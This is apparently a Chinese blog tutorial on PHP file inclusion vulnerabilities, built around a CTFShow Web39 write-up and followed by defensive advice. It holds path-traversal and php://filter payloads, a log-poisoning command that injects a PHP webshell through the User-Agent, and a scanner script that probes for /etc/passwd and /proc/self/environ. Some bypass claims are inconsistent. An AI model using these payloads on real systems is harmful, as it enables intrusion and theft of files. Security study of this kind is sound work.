☰
文件包含漏洞实战:从原理到CTF解题技巧
2026/10/26 10:39:53 网站建设 项目流程

1. 项目概述:文件包含漏洞实战解析

这个标题指向的是CTF竞赛中常见的文件包含漏洞挑战,具体来自CTFShow平台的Web39题。文件包含(File Inclusion)是Web安全领域的经典漏洞类型,允许攻击者通过参数动态包含服务器上的任意文件。在真实渗透测试中,这类漏洞常导致敏感信息泄露甚至远程代码执行。

我最早接触这类漏洞是在2015年某次企业授权测试时,发现某OA系统存在本地文件包含,最终通过包含日志文件实现了RCE。如今在CTF比赛中,这类题目通常会设置更巧妙的限制条件,比如Web39这道题就涉及对include用法的特殊限制。

2. 文件包含漏洞核心原理

2.1 包含机制的本质差异

PHP中主要存在四种包含方式,其行为特性差异显著:

include() // 包含失败仅产生警告 include_once() // 防止重复包含 require() // 包含失败会致命错误 require_once() // 严格版单次包含

在CTFShow-Web39的环境中,题目特别使用了include而非require,这意味着:

  1. 可以尝试包含不存在的文件来触发警告
  2. 不会因包含失败导致脚本终止
  3. 适合用来进行布尔型盲测

2.2 常见利用路径分析

常规文件包含的利用点通常包括:

1. 日志文件注入(/var/log/apache2/access.log) 2. 临时文件包含(/proc/self/fd/) 3. Session文件包含(/tmp/sess_[PHPSESSID]) 4. 环境文件读取(/proc/self/environ) 5. PHP伪协议利用(php://filter)

但在实际解题时,需要特别注意服务器配置差异。比如在Docker化的CTF环境中,/var/log/路径可能根本不存在。

3. CTFShow-Web39解题实录

3.1 初始信息收集

首先对目标进行基础探测:

curl -v "http://target/web39/?file=phpinfo.php"

关键发现:

  • 存在file参数
  • 报错显示Apache/2.4.38 (Debian)
  • 禁用危险函数:exec, system, passthru等

3.2 突破过滤限制

题目设置了以下防御:

  1. 检查包含路径是否包含"flag"关键字
  2. 禁用常规协议(php://, data://等)
  3. 限制包含特定后缀文件

绕过方案:

// 使用目录遍历跳过关键字检测 ?file=./../../../../fl%2fag // 利用临时文件特性 ?file=/proc/self/cwd/flag.php // 大小写混淆 ?file=FlAg.pHp

3.3 伪协议的高级利用

当常规方法失效时,可以尝试:

// 编码转换泄露源码 ?file=php://filter/convert.base64-encode/resource=flag.php // 多级过滤器链 ?file=php://filter/zlib.deflate|convert.base64-encode|zlib.inflate/resource=flag.php

4. 防御方案深度解析

4.1 白名单验证实现

安全的包含实现应该这样写:

$allowed = ['header.php', 'footer.php']; if(in_array($_GET['file'], $allowed)) { include($_GET['file']); } else { include('default.php'); }

4.2 目录锁定技术

更严格的防御方式:

define('BASE_DIR', '/var/www/includes/'); $file = realpath(BASE_DIR . $_GET['file']); if(strpos($file, BASE_DIR) === 0) { include($file); }

5. 实战中的高阶技巧

5.1 日志污染技术

当存在文件包含但无法上传时:

  1. 修改User-Agent为PHP代码
  2. 包含access.log
  3. 代码将被执行
curl -A "<?php system($_GET['cmd']);?>" http://target/

5.2 PHP_SESSION_UPLOAD_PROGRESS利用

通过上传文件触发session文件生成:

<form action="http://target/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>

然后包含生成的session文件:

?file=/tmp/sess_123

6. 现代环境下的变化

随着PHP版本更新,出现新的限制:

  1. PHP>=7.0 默认禁用远程包含(allow_url_include=Off)
  2. open_basedir限制目录访问
  3. disable_functions限制危险函数

绕过思路:

  • 利用环境变量(LD_PRELOAD)
  • 通过FFI扩展调用系统函数
  • 内存操作函数(memcpy等)

7. 自动化检测方案

编写简单的检测脚本:

import requests payloads = [ '/etc/passwd', 'php://filter/convert.base64-encode/resource=index.php', '/proc/self/environ' ] for payload in payloads: r = requests.get(f'http://target/?file={payload}') if 'root:x' in r.text or 'PD9waHA' in r.text: print(f'Vulnerable to {payload}')

8. 企业级防护建议

在生产环境中建议:

  1. 使用不可变基础设施(容器镜像)
  2. 部署WAF规则过滤包含特征
  3. 定期进行静态代码审计
  4. 实施最小权限原则
  5. 监控异常文件访问行为

我在某次金融行业渗透测试中发现,即使配置了open_basedir,通过/proc/self/mem仍可能读取敏感内存数据。这提醒我们防御需要多层纵深。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询